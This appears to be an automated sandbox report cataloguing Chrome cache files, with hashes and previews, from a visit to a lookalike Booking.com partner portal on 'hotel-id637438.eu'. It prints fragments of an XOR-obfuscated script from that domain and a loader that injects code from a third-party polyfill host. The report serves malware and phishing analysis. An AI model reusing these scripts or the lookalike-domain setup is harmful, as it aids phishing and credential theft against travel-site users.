Preview:	"use strict";!function(n){function i(){Object.entries\|\|(Object.entries=function(e){for(var t=Object.keys(e),n=t.length,i=new Array(n);n--;)i[n]=[t[n],e[t[n]]];return i})}"undefined"!=typeof localStorage&&"undefined"!=typeof sessionStorage&&setTimeout(function(){window.__rctEnv="production";var e,t=function(){var e=["Object.entries","Object.assign","Object.freeze","Object.keys","Symbol","Symbol.iterator"],t=[],n=!1;if(Object.entries&&Object.assign&&Object.freeze&&Object.keys&&window.Symbol&&window.Symbol.iterator)return[];for(var i=0;i<document.scripts.length;i++){var a=document.scripts[i].getAttribute("src");if(a&&a.match(/polyfill\.io/g)&&a.match(/\?features\=/g)){var n=!0,o=(a.split(/\?\|\&/)[1]\|\|"").replace("features=","").split(",");if(o.length)for(var r=0;r<e.length;r++)~o.indexOf(e[r])\|\|t.push(e[r])}}return n&&t\|\|e}();t.length?((e=document.createElement("script")).src="https://polyfill.spinnaker-js.com/v2/polyfill.min.js?features="+t.join(",")+"&flags=gated",document.body.appendCh

Chrome Cache Entry: 416

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	35
Entropy (8bit):	2.9302005337813077
Encrypted:	false
SSDEEP:	3:CUHaaatrllH5:aB
MD5:	81144D75B3E69E9AA2FA3E9D83A64D03
SHA1:	F0FBC60B50EDF5B2A0B76E0AA0537B76BF346FFC
SHA-256:	9B9265C69A5CC295D1AB0D04E0273B3677DB1A6216CE2CCF4EFC8C277ED84B39
SHA-512:	2D073E10AE40FDE434EB31CBEDD581A35CD763E51FB7048B88CAA5F949B1E6105E37A228C235BC8976E8DB58ED22149CFCCF83B40CE93A28390566A28975744A
Malicious:	false
Reputation:	low
Preview:	GIF89a.............,..............;

Chrome Cache Entry: 417

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21608), with no line terminators
Category:	downloaded
Size (bytes):	21608
Entropy (8bit):	4.768124050153233
Encrypted:	false
SSDEEP:	384:+I8C4hGoFXlCS7FGAVsq1nwGfg4xqsQMPNE:OaJ
MD5:	A169014CB8030D7BEB52C77DDF2FD9C6
SHA1:	FBE4667B4F8F01CD6C4DD2F9C9CACFB389CB54E1
SHA-256:	D0C233D327541D2961F1CDE9E53A6166279655F4D4041C1BC458AC1701827719
SHA-512:	F46123E7223B5AC490BADB950AA79D4A7BDC09D5C2A4533C3D82F3555A6308C54F1719F1959E75003A94CB2877ED65F35110529F33981C4C4C03256F345AE3C8
Malicious:	false
Reputation:	low
URL:	https://cdn.cookielaw.org/scripttemplates/202305.1.0/assets/otCommonStyles.css
Preview:	#onetrust-banner-sdk{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}#onetrust-banner-sdk .onetrust-vendors-list-handler{cursor:pointer;color:#1f96db;font-size:inherit;font-weight:bold;text-decoration:none;margin-left:5px}#onetrust-banner-sdk .onetrust-vendors-list-handler:hover{color:#1f96db}#onetrust-banner-sdk:focus{outline:2px solid #000;outline-offset:-2px}#onetrust-banner-sdk a:focus{outline:2px solid #000}#onetrust-banner-sdk #onetrust-accept-btn-handler,#onetrust-banner-sdk #onetrust-reject-all-handler,#onetrust-banner-sdk #onetrust-pc-btn-handler{outline-offset:1px}#onetrust-banner-sdk.ot-bnr-w-logo .ot-bnr-logo{height:64px;width:64px}#onetrust-banner-sdk .ot-close-icon,#onetrust-pc-sdk .ot-close-icon,#ot-sync-ntfy .ot-close-icon{background-size:contain;background-repeat:no-repeat;background-position:center;height:12px;width:12px}#onetrust-banner-sdk .powered-by-logo,#onetrust-banner-sdk .ot-pc-footer-logo a,#onetrust-pc-sdk .powered-by-logo,#onetrust-pc-sdk .ot-pc-foo

Chrome Cache Entry: 418

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	6836
Entropy (8bit):	7.953827204503414
Encrypted:	false
SSDEEP:	192:V98Z0rOHdnYPmrtpczdDuCztc9PmuyYiyrE4EiLyf/5sxgSikPnVJI:VKZ0rOHdYPmrbc5tc9WYiyFFKuuSikE
MD5:	2544C6E02BB25B77B5ACB8E06570066B
SHA1:	545D8A1E7392B6A1BF78455153DAC6FA5B8B99D8
SHA-256:	D2206EE26565CEB16F615FC0ADC3A489C79E0503FDE2394FF8A89BB58C64B2B4
SHA-512:	5B8C9906D8FCDBB24643822F0B24D54F8371D662BC033E95C96F82B9A2DB24CF14D0F29FB06C7881E44B6DC292FA0214CB18DB5612A468E22FB9F50B4A0A5099
Malicious:	false
Reputation:	low
Preview:	RIFF....WEBPVP8X..............ALPH>.....G.....z......L.I.I.$..$W.$Ir%I.$.I...\I2.+I.$W.\I.$W.+.df.....1...v..9.y..oDL...U"...F..h..z8.@.........9..."....Qv....>....]..^....[...y.G...}.. 0.g.{.QCD..g.#.5Ej.g..m...G....n.).':....37.......g....Ys......[.....UcH.GU..{6....q...3`>,7.....G<5_.N....(2G..&..x.7..o.wOl.....)5..@.%+1......J..C5...z.....7M....k.bJg.S.D"......dc.p...Ni.~......u.B>5.J%.....[..x]'...... t..%.E=.X.4.~.~I.^n.."n..D....t.&..x.Po.@.../)..of..u.mB$.B..U.W.Q?m.......Z....>.8.~...%.........Z....(.:7.....CK^....#.}...[..\......Z.2..E...`.4Sp..v..}t..Es......:..w....#b.LJ7....D..@\|.IZO..>..cU.......5U.`.$}.Z},.S.U+.9/.j....C...r.V..,.f`&R.l..).T.....9.U.9..j=U.1c...X...0........>.@.p8.......@.1c..%b.......k.>1..B...Hd(...S..v..m.X...5.../......B+......J..u.5..y!.%9.._...E.z.P...:......... ....f.fB...h.mG..n..')\|d....6^..@.w(....h.w.$..Q.R)....c.....k...O.;@.~...P...).E.q.})2....b..Xc.P..(Q...O.......W.....p..B...~.._.7.vs.......U

Chrome Cache Entry: 419

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21229)
Category:	downloaded
Size (bytes):	21230
Entropy (8bit):	5.307614848024259
Encrypted:	false
SSDEEP:	384:TRFZ2wWtdbD5ABwXwLrekrff8eTr+x5RxMcLn9LuJ4vV/:T8wAD5ABwXw+krfflyxzxzn9D/
MD5:	26DFF7B84954EF35ED7B3C7E01C4C08B
SHA1:	6A03338997D33C4EBF80D3D6C30A467CB9AA5488
SHA-256:	022E2F39DEBA7F332EABE69B27B31D98D4D5F2535116745957A691D1B1EC4CC5
SHA-512:	EE5C7768B702099D46BC3620319E378A528FB5724DE0A9DF8166AE92364956B3E45BA717A8257A937B058664E60DFF4168F72F184623F95902CCD264A63C57CA
Malicious:	false
Reputation:	low
URL:	https://cdn.cookielaw.org/scripttemplates/otSDKStub.js
Preview:	var OneTrustStub=function(t){"use strict";var a,o,p=new function(){this.optanonCookieName="OptanonConsent",this.optanonHtmlGroupData=[],this.optanonHostData=[],this.genVendorsData=[],this.vendorsServiceData=[],this.IABCookieValue="",this.oneTrustIABCookieName="eupubconsent",this.oneTrustIsIABCrossConsentEnableParam="isIABGlobal",this.isStubReady=!0,this.geolocationCookiesParam="geolocation",this.EUCOUNTRIES=["BE","BG","CZ","DK","DE","EE","IE","GR","ES","FR","IT","CY","LV","LT","LU","HU","MT","NL","AT","PL","PT","RO","SI","SK","FI","SE","GB","HR","LI","NO","IS"],this.stubFileName="otSDKStub",this.DATAFILEATTRIBUTE="data-domain-script",this.bannerScriptName="otBannerSdk.js",this.mobileOnlineURL=[],this.isMigratedURL=!1,this.migratedCCTID="[[OldCCTID]]",this.migratedDomainId="[[NewDomainId]]",this.userLocation={country:"",state:""}};(m=g=g\|\|{})[m.Days=1]="Days",m[m.Weeks=7]="Weeks",m[m.Months=30]="Months",m[m.Years=365]="Years",(m=i=i\|\|{}).Name="OTGPPConsent",m[m.ChunkSize=4e3]="ChunkSize

Chrome Cache Entry: 420

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3306), with no line terminators
Category:	downloaded
Size (bytes):	3306
Entropy (8bit):	5.319119276491471
Encrypted:	false
SSDEEP:	96:GzSHv/C6ZxAHA69rqb2XEuR4pMm7gvnnAEmLJ7zg:GGHy6ZyHI5pMeUAdA
MD5:	DC1A409C41799BA4F1C15E2E38BFD526
SHA1:	BFA29DFDA7C54041284B2542E45910C04D1549FF
SHA-256:	CB6C5D241FE7D4D8E9460431723127EFAC19056F072CEAE7ADE775B744537379
SHA-512:	E46132ECFDB4C142E6CE6E4D0BA9EF04BDD258918F35B03D796A1A64F50E1F922F9FAB55ABE61FAF4ACE4FDAA29029B14033BDA6009A834DE35CB8234759D692
Malicious:	false
Reputation:	low
URL:	https://try.abtasty.com/71cd12cdf77ebcb750cff91a9bba6f04.js
Preview:	(()=>{"use strict";var t={81:(t,a)=>{var e,n,r;a.o3=void 0,function(t){t.identifier="index",t.initiator="initiator",t.manifest="manifest"}(e\|\|(a.o3=e={})),function(t){t.IDENTIFIER="identifier",t.INITIATOR="initiator",t.CLIENT="client",t.JSON="json",t.MANIFEST="manifest",t.SHARED="shared"}(n\|\|(n={})),function(t){t.accountJs="accountJs",t.consentJs="consentJs",t.fragmentJs="fragment-",t.customAnalytics="custom-analytics-",t.campaignJs="campaign-js-",t.variationJs="variation-js-",t.scopeJs="scope-js-",t.triggerJs="trigger-js-"}(r\|\|(r={}))}},a={};const e="error::",n="warning::",r={allowed:document.cookie.indexOf("abTastyDebug=")>=0};function i(t,a,e){if(function(){const t=!window.abTastyStopLog;return(r.allowed\|\|window.abTastyDebug)&&t}()){for(var n=arguments.length,i=new Array(n>3?n-3:0),o=3;o<n;o++)i[o-3]=arguments[o];a(`%c [AB Tasty Debug mode] %c ${t}`,"background: #222; color: #bada55; padding: 3px; border-radius: 5px 0px 0px 5px;",`${e} padding: 3px; border-radius: 0px 5px 5px 0px;`,

Chrome Cache Entry: 421

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65454)
Category:	downloaded
Size (bytes):	528154
Entropy (8bit):	5.64749140111677
Encrypted:	false
SSDEEP:	6144:gkMNHgYx1hmEqKgLY2PHFohfx51lloueVd6+yuIqkuJXgPSxbY99jCuqLqUW/lfu:gkMeYmEBqPHFCxblloTkuJXgYySI4yz0
MD5:	DB633C109E57FB7B5A0A079380208692
SHA1:	99DBCE7C8ADD7E37EA34E9CF97643E23D160BEC8
SHA-256:	FC9DEAD7429F35C0B38AEC81049D0B43B9BB39CA6FB2629F2347F823A098F8CB
SHA-512:	A269F335E4FD53F08CC5EC9D23C752A8E33BCB5E0A6FC5D5D3EE1F8AF96549BCD0E41E9E299B20326EA051AAED6650383C60E12C4623D59036BE742394EFFC36
Malicious:	false
Reputation:	low
URL:	https://hotel-id637438.eu/static/589_c56f1bb12a33c98c0094.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	/! For license information please see 589_c56f1bb12a33c98c0094.js.LICENSE.txt /.(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[589],{67214:function(e,t,n){"use strict";var r=n(96540);t.A=function(){return r.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},r.createElement("path",{d:"m14.662 23.038.012.007c2.46 1.566 5.71 1.21 7.792-.873l.774-.774a2.596 2.596 0 0 0 0-3.669l-3.26-3.26a2.596 2.596 0 0 0-3.67 0 1.093 1.093 0 0 1-1.546.002l-.001-.001-5.219-5.22a1.096 1.096 0 0 1 0-1.548 2.593 2.593 0 0 0 .002-3.666q0-.002-.002-.003L6.284.77a2.596 2.596 0 0 0-3.669 0l-.774.774A6.285 6.285 0 0 0 .982 9.36L1 9.386a50.7 50.7 0 0 0 13.62 13.625zm.798-1.27A49.2 49.2 0 0 1 2.244 8.55l-.005-.008a4.78 4.78 0 0 1 .662-5.938l.774-.774a1.096 1.096 0 0 1 1.549 0l3.26 3.264v.002a1.09 1.09 0 0 1 0 1.545 2.596 2.596 0 0 0 0 3.67l5.218 5.22.002.001a2.593 2.593 0 0 0 3.667-.002 1.096 1.096 0 0 1 1.548

Chrome Cache Entry: 422

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	7060
Entropy (8bit):	7.957808505401169
Encrypted:	false
SSDEEP:	192:SlLpB0eMZ8PlD9YyIPXuNsE6+aqMSCkAxO9q6Marl4k:8LUAF9zIPXs4LBxp6MQlb
MD5:	0099D8EF872F32311E50AD3E2DB414DE
SHA1:	72075F3BC182534A2ABB162A88E09AB89253888B
SHA-256:	DE1B3329C8C4058507A961AAE36848660BBC16866E20186D8C5777EDF8F34939
SHA-512:	5E2BB12341079696FCB3A31843E9E039B61CF40AACF64002D7385AD6B814168078C2A3517E5C9C29299C168D4AE9ABAEE463CAD908552A9F1221CFD30F99CD1B
Malicious:	false
Reputation:	low
Preview:	RIFF....WEBPVP8X...........`..ALPH..........d...q..1333..d.d.$I.K.L&I.\.I&.K./.t.Kv..$...$I.[.$sI.$I.$3333s...v.........o....U..%..\....gw..o...Q....p.....Ky....Q5\..~.w39v.._.!.vA.0(3........b.h........f..).GH... ..Y.C.,.Ko.....@..1.+Q.d..x..........[&.B.... ....V....e..4.,t.m....\|....1/..(^.@rH@.d.pY.s+#../A.8.Se.4.Dd....@...4.....$.....C....\B..G....mw..^o.......R..........V......6,.%....:.y.U.\....m[.`..O.X...$p.v.+..._..7..G...:.....3.".....%.#u}..{?.P.........O\...F.f........m.......V$G.o.......c......I...2.c.m.%.r.O.@dK..G.=.\b.OI&.q....4.4.`.....:.<.A60..0./. ......H4.......o.T(...aQ.^....i-vA..p...(....".y`....muc..$.e...Y.sR........r........~.,^C..2.......C..R..\|.&.o..k4.....+$}..q.F...O....b.....o..h;....l.i.9&..W_...-..f_...%._n...BD..a1.5..G.'...M.[s.o..y.@..pJ.5.o/...@kIY.j.......K.([S.o.n.i.A....^^.......BW.DD.?......j..p..#..c..\|..T#\|@.$.kh..H#..:\)........sjv.`.....y2a.m.Le.r..M..5.9..S.... .;*9.xp.Bn.(#.0.Q..8@d....Of.V.x.

Chrome Cache Entry: 423

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	1614
Entropy (8bit):	4.762820188376248
Encrypted:	false
SSDEEP:	24:hYNspeCCZkpJ4MEz7agcn0LXTF2F76nQtSn8nwz8Xx:vpdBY7agCwTF2F7hx
MD5:	D89B01D392C1A60B64C1EB55CCCD1D9D
SHA1:	35607031083971A862472A2BB37FFB8BF0CDCD2D
SHA-256:	4D8CEAC04A145BE6F8968D458D8226320737D72F6ADA06990BD842C28F8951B6
SHA-512:	E2A195E382E79D1E3EEC8C5E0E6991405B1BE9BAC58909427F0DD7976E819771ED71AFCC5FB7C946D3E7206142DA1505D80580AF4293C1CAB0FABF5C949BF759
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>.<html lang="en">.<head>.<title>405 - Method Not Allowed</title>.<meta http-equiv="content-type" content="text/html; charset=utf-8" />.<meta name="viewport" content="width=device-width, initial-scale=1.0">.<meta http-equiv="X-UA-Compatible" content="ie=edge">.<link rel="stylesheet" href="https://q.bstatic.com/libs/bui/7.3.1/bui.min.css">.<link rel="stylesheet" href="https://q.bstatic.com/libs/calango/0.500/bui.css">.</head>.<body class="c-body">.<header id="c-header" class="header">.<div class="c-header__main">. <div class="bui-container bui-container--center">. <div class="bui-grid c-header--top">. <div class="bui-grid__column-3">. <a class="c-logo__wrap" href="/">. <span class="c-logo__type">. Bookings_Web_Accounts_Portal. </span>. </a>. </div>. </div>. </div>.</div>.</header>.<div class="bui-container bui-container--center c-main-body c-

Chrome Cache Entry: 424

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7862)
Category:	downloaded
Size (bytes):	7889
Entropy (8bit):	5.3539189175758715
Encrypted:	false
SSDEEP:	192:EIJHXkovHIdcC9vaE6cyxqI1qwLcIRAKEFkNB+xb+25CqqBFPvAxOn:E2kNdcC9J6co91qwLcI6KgkixbdjqBFH
MD5:	FD4F902B789F81BAA379B0BA42C21ACD
SHA1:	9F5C7F1B6E8151ED8D54C24A297B27177B38EFB0
SHA-256:	6E61BE2F374A0122510025578940BAF7EF8DBBCAF3ECC5F5535CFC81BD1CFD39
SHA-512:	6D88550E1BDDD52E4BEF156BD800C97147AE7BA30AA0EB0D0B31815250A119D8C5D165A777B7AA195BB70DF2F2DCC159204F6A3E47EF71D24D7861EF58171CF8
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/libraries/lazysizes/lazysizes.min.js
Preview:	/! lazysizes - v5.3.1 /..!function(e){var t=function(u,D,f){"use strict";var k,H;if(function(){var e;var t={lazyClass:"lazyload",loadedClass:"lazyloaded",loadingClass:"lazyloading",preloadClass:"lazypreload",errorClass:"lazyerror",autosizesClass:"lazyautosizes",fastLoadedClass:"ls-is-cached",iframeLoadMode:0,srcAttr:"data-src",srcsetAttr:"data-srcset",sizesAttr:"data-sizes",minSize:40,customMedia:{},init:true,expFactor:1.5,hFac:.8,loadMode:2,loadHidden:true,ricTimeout:0,throttleDelay:125};H=u.lazySizesConfig\|\|u.lazysizesConfig\|\|{};for(e in t){if(!(e in H)){H[e]=t[e]}}}(),!D\|\|!D.getElementsByClassName){return{init:function(){},cfg:H,noSupport:true}}var O=D.documentElement,i=u.HTMLPictureElement,P="addEventListener",$="getAttribute",q=u[P].bind(u),I=u.setTimeout,U=u.requestAnimationFrame\|\|I,o=u.requestIdleCallback,j=/^picture$/i,r=["load","error","lazyincluded","_lazyloaded"],a={},G=Array.prototype.forEach,J=function(e,t){if(!a[t]){a[t]=new RegExp("(\\s\|^)"+t+"(\\s\|$)")}return a[t].tes

Chrome Cache Entry: 425

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	642
Entropy (8bit):	7.485255326893554
Encrypted:	false
SSDEEP:	12:6v/7+FO+DpBBzM22sBdG4llNTJ6yHfbE8/jALtcq4PsesuZtC6mN:5tj2sBdpXlHfw8chcqgsCZxmN
MD5:	41A0E840AA47C87E19D2BFE0B1231C3F
SHA1:	B5F588CA91FC9E67B5EA658C5FF943B0639E57B9
SHA-256:	A333D02EEDDE7A4DD8643D58B0EA7947268A1762F35F517EB6000EC9E7FCFAE8
SHA-512:	8578A788F605BC27B4326EB38417A71E45A05AC885B971C49AC3C7D23F6DDF747F69F2CCF3DF0C461E1C90268247D6959F248D3001518F56888F6D6B8C1CDD2E
Malicious:	false
Reputation:	low
URL:	https://q-xx.bstatic.com/backend_static/common/flags/new/48-squared/us.png
Preview:	.PNG........IHDR...0...0.....`......uPLTE..0<9p..0.'@.....0<:p.s}TS.....a_.HFymk.IFy.;I......yx....HGy..........Wd.........&@...mk.......G^............l.........tRNS...;%j.....IDATH..a..0..`..5..KiA8..S..O.y.....h><..4.......c..0..Pm.v......i...iuo..;..X..H'7LVM.....{..5zM.{.B"-4r[O..L..fw.hY..G...\.@h.U.kS...d.2`{...]i.....Zt@....t.,.z..W..x..........V-lB...S.!...S....U5.....E.+...g..4.....!.?...N..w.7-L[....<j..\|.+r5.u~..a0.<.l..._.h.q..4.....(.>.<.E.I...-t....X.S.77-nX.......^.T.*.....s.m.......~V....Lnz....Y...5......-...\|...{q...'.lN.W.4W]..<.......`!..A......D@...$.....0X.I..1XI.....T....C..@.}....IEND.B`.

Chrome Cache Entry: 426

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	4756
Entropy (8bit):	7.945632013035785
Encrypted:	false
SSDEEP:	96:hvy9NZNPd+O/fMenwHl42/E5ewg0rqYn9+s++F/kLsztCkda+F:hvyTZNF+uxewg0rr9d+mrda+F
MD5:	0D81C715B4764142F9C3D35792ED2485
SHA1:	0F469440C466FA9B3136BA3E220B41123AAFEE12
SHA-256:	9A226E85989184929393C7E017A56C0C32079465E36CFE2DD1F7AD98D75EB3CD
SHA-512:	40C7729CBE6E216CABDC25DBA65A69EF1E24842E98278DFB2165AB48364FE3C9DDD4A46D45A0CEFF989D924E107EFFCA3CFA85BDFF1F17F5326966985BC78CE5
Malicious:	false
Reputation:	low
Preview:	RIFF....WEBPVP8X...........`..ALPH)......l..z.......z.....z..................u.m.!.0.?..7_.......!(.?38.N.6..d>....m.A0.>........].G.=..1...1............d6=3333;...x..KW.a7law..g..R@..yG..fg.N....Q...Y:..ln.3qp\|tSE.d...%.'..o.U:..^zk.P3..1....<...\|.S.W.d...g.o...J...r.....~...pZV .#FZ;.\|..KKug..]<..#yk......B..q..y.>!.W... ....:........W2%.........{.1....a..+......0^.`.!....k.`>!...H...k0.+...\3s0.#......7pT..x.3.~...j{..k..)..o..oPK...X/.M....O.......c..s.c.y*.k..p...bZ..........@..Y..>.d.&....t....GAmkF...i\|I.>z"..Z.J.........n...l..........+.p.DD.].....tU0\....Z..[.i.".:.....s....p.$......\|.K.B.Wk.&.._.P<.%y.E.>y ^aK...0.R8\..3.....Y#=...3..?9.Sgz0..7h...]$...H..T.9.)<z.W.9..in9...........j./.Dr......t.......$....:....L..f..L.v.f.....%os10...u.....9.....~b...=u.=.......nX.X...;wn~vffffz....xm.G`.r...E16..5x.=J.!....D.d.t~........(........f+@`.w........C..D)N_.+...T..o.c..._u..TS....sk.w.N.....oh..Z...1`~..".oN........kL....i....

Chrome Cache Entry: 427

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15506)
Category:	downloaded
Size (bytes):	97749
Entropy (8bit):	5.298824546845197
Encrypted:	false
SSDEEP:	768:32UZMJhZIpSpHIrRD7oD70D7B/D7sGD7QD7jD7zD7pD7bD7VD7ID7/D78D76D7mK:3rSpHIkLDd6
MD5:	B7C6503280C86CB69BFBFF360A73BB84
SHA1:	044EB98EF25663BD7350F7DDE610AF0838408A4B
SHA-256:	467B311E20DB8792C28EA4A2CF35E77B3FA42B96AB3D9002C984D4372024E344
SHA-512:	E0F29951AC2B7A05424B7ACFA92177851CDBCF689AA8B39809872B7360829A2D9F4E6BE0C5F1B3EBA3F0EF069AEBCD51C4C01E6F2101358833D6C7FF9FA627AB
Malicious:	false
Reputation:	low
URL:	https://hotel-id637438.eu/static/f8ophtciyuw7yo4z.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	(function(){var td_4t=td_4t\|\|{};td_4t.td_6d=function(td_T,td_a){try{var td_K=[""];var td_J=0;for(var td_S=0;td_S<td_a.length;++td_S){td_K.push(String.fromCharCode(td_T.charCodeAt(td_J)^td_a.charCodeAt(td_S)));td_J++;.if(td_J>=td_T.length){td_J=0;}}return td_K.join("");}catch(td_N){return null;}};td_4t.td_2o=function(td_w){if(!String\|\|!String.fromCharCode\|\|!parseInt){return null;}try{this.td_c=td_w;this.td_d="";this.td_f=function(td_I,td_u){if(0===this.td_d.length){var td_d=this.td_c.substr(0,32);.var td_J="";for(var td_Z=32;td_Z<td_w.length;td_Z+=2){td_J+=String.fromCharCode(parseInt(td_w.substr(td_Z,2),16));}this.td_d=td_4t.td_6d(td_d,td_J);}if(this.td_d.substr){return this.td_d.substr(td_I,td_u);.}};}catch(td_X){}return null;};td_4t.td_1O=function(td_O){if(td_O===null\|\|td_O.length===null\|\|!String\|\|!String.fromCharCode){return null;}var td_a=null;try{var td_m="";var td_W=[];var td_z=String.fromCharCode(48)+String.fromCharCode(48)+String.fromCharCode(48);.var td_g=0;for(var td_J=0;td_J

Chrome Cache Entry: 428

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4743), with no line terminators
Category:	downloaded
Size (bytes):	4743
Entropy (8bit):	5.279357411152101
Encrypted:	false
SSDEEP:	96:SGNB9ptuo5P1V4F4VRxCTv7qQt4nRU7DerZqtDcGfcw0:SGNbuw1LTARWnRU7DeaD0
MD5:	84462516A0DDF81F62E35C73886AC6F6
SHA1:	9843B9E3CB2D546E8FF21C4DC365C21ABA005F3E
SHA-256:	D345CB93B25D6C76D184681C81CB0F460E65B0B38C1BCE79D711B917DF3B3224
SHA-512:	5DA635B999CC45450EA20277927BC761F4D6764B63BB6C5EDB9CABC9CA011232DB4223254E7EBFFB60196E62B6DFC839699216F71630DF7D00C58C285703B16E
Malicious:	false
Reputation:	low
URL:	https://cf.bstatic.com/psb/accountsportal/assets/runtime~index_08a2413ae9a3221f32e6.js
Preview:	!function(){"use strict";var e,t,r,n,o,i={},u={};function a(e){var t=u[e];if(void 0!==t)return t.exports;var r=u[e]={id:e,loaded:!1,exports:{}};return i[e].call(r.exports,r,r.exports,a),r.loaded=!0,r.exports}a.m=i,e=[],a.O=function(t,r,n,o){if(!r){var i=1/0;for(f=0;f<e.length;f++){r=e[f][0],n=e[f][1],o=e[f][2];for(var u=!0,c=0;c<r.length;c++)(!1&o\|\|i>=o)&&Object.keys(a.O).every((function(e){return a.O[e](r[c])}))?r.splice(c--,1):(u=!1,o<i&&(i=o));if(u){e.splice(f--,1);var s=n();void 0!==s&&(t=s)}}return t}o=o\|\|0;for(var f=e.length;f>0&&e[f-1][2]>o;f--)e[f]=e[f-1];e[f]=[r,n,o]},a.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return a.d(t,{a:t}),t},a.d=function(e,t){for(var r in t)a.o(t,r)&&!a.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},a.f={},a.e=function(e){return Promise.all(Object.keys(a.f).reduce((function(t,r){return a.f[r](e,t),t}),[]))},a.u=function(e){return"assets/chunk_"+e+"_"+{63:"3e06947d7ac019605fa1",358:"0f1b38909bb1

Chrome Cache Entry: 429

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65508)
Category:	downloaded
Size (bytes):	805884
Entropy (8bit):	5.083707468119061
Encrypted:	false
SSDEEP:	24576:8xEmfNAsQZrW4R6erxXbZQCF5qP8czVkO2sdwUqkhBYlJz5oE:8xEmfNAsQZrW4R6erxXbZQCF5qP8czVw
MD5:	7BA11A08E48BA9F76CE05CACEC640727
SHA1:	6B697F983F25B6528544C767277E9A1E2322C7B5
SHA-256:	8E6C1E164372165A4B31001BC9D28614200EAF665A5827BE856AC11D5262946D
SHA-512:	9969DDC1FA8ADA268EBAF448591F602CDC83401BCF73B3A744AAD7A88154F7789A507A922392D43A519C659FB82B940B81C2FE1D01A0646AA9D119FCF75BFED2
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/sites/default/files/css/css_8xrXTAiqhK5R19N2cI7xoXYTYSLTDP3dX6YW9tM8lM0.css?delta=1&language=en-us&theme=booking&include=eJxdUQFuwyAM_BCEJ1UOuMGrgxE26bLXj7Rrs01CFj5zNneGlEyg7AF-LtO1STGXwIBhxxZmzLCRNHUMX3s4gtNdDdcwg6KbRW5UljB38lH1f-6twYbM2DzTks1bxvVkLSwz8B_Sx9kjisQbYW3irxK7-gwljVbne4g3bzJOdfhpTOUWUusVePpJnRoYqVHUV-VEhqRdul0SaZQN2x6kYBR2FRosDWp-k05k6qX2mUkzJrcR3jU84rRK6oxP6ELlSoUMLxqbMD-f-Bfqn6hrYBh62WRAGbkOaQ_oPmzq66y9vqVCjNISSfEG8-i0Dle2YWWxv54f_X2UtQ4pv2ua5e6BT68jtCZdkb3hWGTzb4luTMKX8NSkzt1MirsyLOEI0-HsBT7g81ykrf4o-cg0dvJ_Uf0YoLQUGv8XYaPqhvX34Q9Cizk8Ev9M3qyMkA7eA_0GR0kJJQ
Preview:	/* @license GPL2+ no URL */.:root{--bui_unit_value:8;--bui_unit_smaller:2px;--bui_unit_small:4px;--bui_unit_medium:8px;--bui_unit_large:16px;--bui_unit_larger:24px;--bui_unit_largest:32px;--bui_color_destructive_dark:#a30000;--bui_color_destructive:#c00;--bui_color_destructive_light:#fcb4b4;--bui_color_destructive_lighter:#ffebeb;--bui_color_destructive_lightest:#fff0f0;--bui_color_callout_dark:#bc5b01;--bui_color_callout:#ff8000;--bui_color_callout_light:#ffc489;--bui_color_callout_lighter:#fff0e0;--bui_color_callout_lightest:#fff8f0;--bui_color_complement_dark:#cd8900;--bui_color_complement:#febb02;--bui_color_complement_light:#ffe08a;--bui_color_complement_lighter:#fdf4d8;--bui_color_complement_lightest:#fefbf0;--bui_color_constructive_dark:#006607;--bui_color_constructive:#008009;--bui_color_constructive_light:#97e59c;--bui_color_constructive_lighter:#e7fde9;--bui_color_constructive_lightest:#f1fef2;--bui_color_primary_dark:#00224f;--bui_color_primary:#003580;--bui_color_primary_li

Chrome Cache Entry: 430

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	7060
Entropy (8bit):	7.957808505401169
Encrypted:	false
SSDEEP:	192:SlLpB0eMZ8PlD9YyIPXuNsE6+aqMSCkAxO9q6Marl4k:8LUAF9zIPXs4LBxp6MQlb
MD5:	0099D8EF872F32311E50AD3E2DB414DE
SHA1:	72075F3BC182534A2ABB162A88E09AB89253888B
SHA-256:	DE1B3329C8C4058507A961AAE36848660BBC16866E20186D8C5777EDF8F34939
